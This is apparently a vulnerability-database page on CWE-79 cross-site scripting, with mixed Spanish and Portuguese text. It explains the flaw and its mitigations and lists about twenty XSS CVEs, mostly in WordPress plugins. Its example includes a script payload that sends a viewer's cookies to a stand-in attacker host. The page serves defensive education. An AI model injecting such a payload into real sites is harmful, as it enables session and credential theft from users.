Fallos del tipo CWE-79

29.962 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-31103HIGHWordPress Kanban Boards for WordPress plugin <= 2.5.21 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-32546HIGHWordPress Tax Rate Upload plugin <= 2.4.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-31090HIGHWordPress Hacklog Down As PDF plugin <= 2.3.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-6767MEDIUMWordSurvey <= 3.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via sounding_title ParameterEPSS 0.4%CVE-2024-52463HIGHWordPress Post By Email plugin <= 1.0.4b - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-33633HIGHWordPress Piotnet Addons For Elementor Pro plugin <= 7.1.17 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-52457HIGHWordPress Youneeq Recommendations plugin <= 3.0.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-29091HIGHWordPress WP Armour plugin <= 2.1.13 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-32533HIGHWordPress LH Add Media From Url plugin <= 1.22 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-12496MEDIUMLinear <= 2.7.12 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-24668MEDIUMWordPress PPOM for WooCommerce plugin <= 33.0.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-31085HIGHWordPress Post-Plugin Library plugin <= 2.6.2.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-31084HIGHWordPress Weekly Class Schedule plugin <= 3.19 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-30799MEDIUMWordPress WP Google Street View plugin <= 1.1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-72747MEDIUMAVideo Stored Cross-Site Scripting via Unauthenticated RegistrationEPSS 0.4%CVE-2024-54329HIGHWordPress CleverNode Related Content plugin <= 1.1.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-54341HIGHWordPress LabelGrid Tools plugin <= 1.3.58 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-13969MEDIUMReviews Sorted <= 2.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'space' Shortcode AttributeEPSS 0.4%CVE-2025-30574MEDIUMWordPress Mobile Navigation plugin <= - 1.5 Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2024-52462HIGHWordPress WP e-Commerce Style Email plugin <= 0.6.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%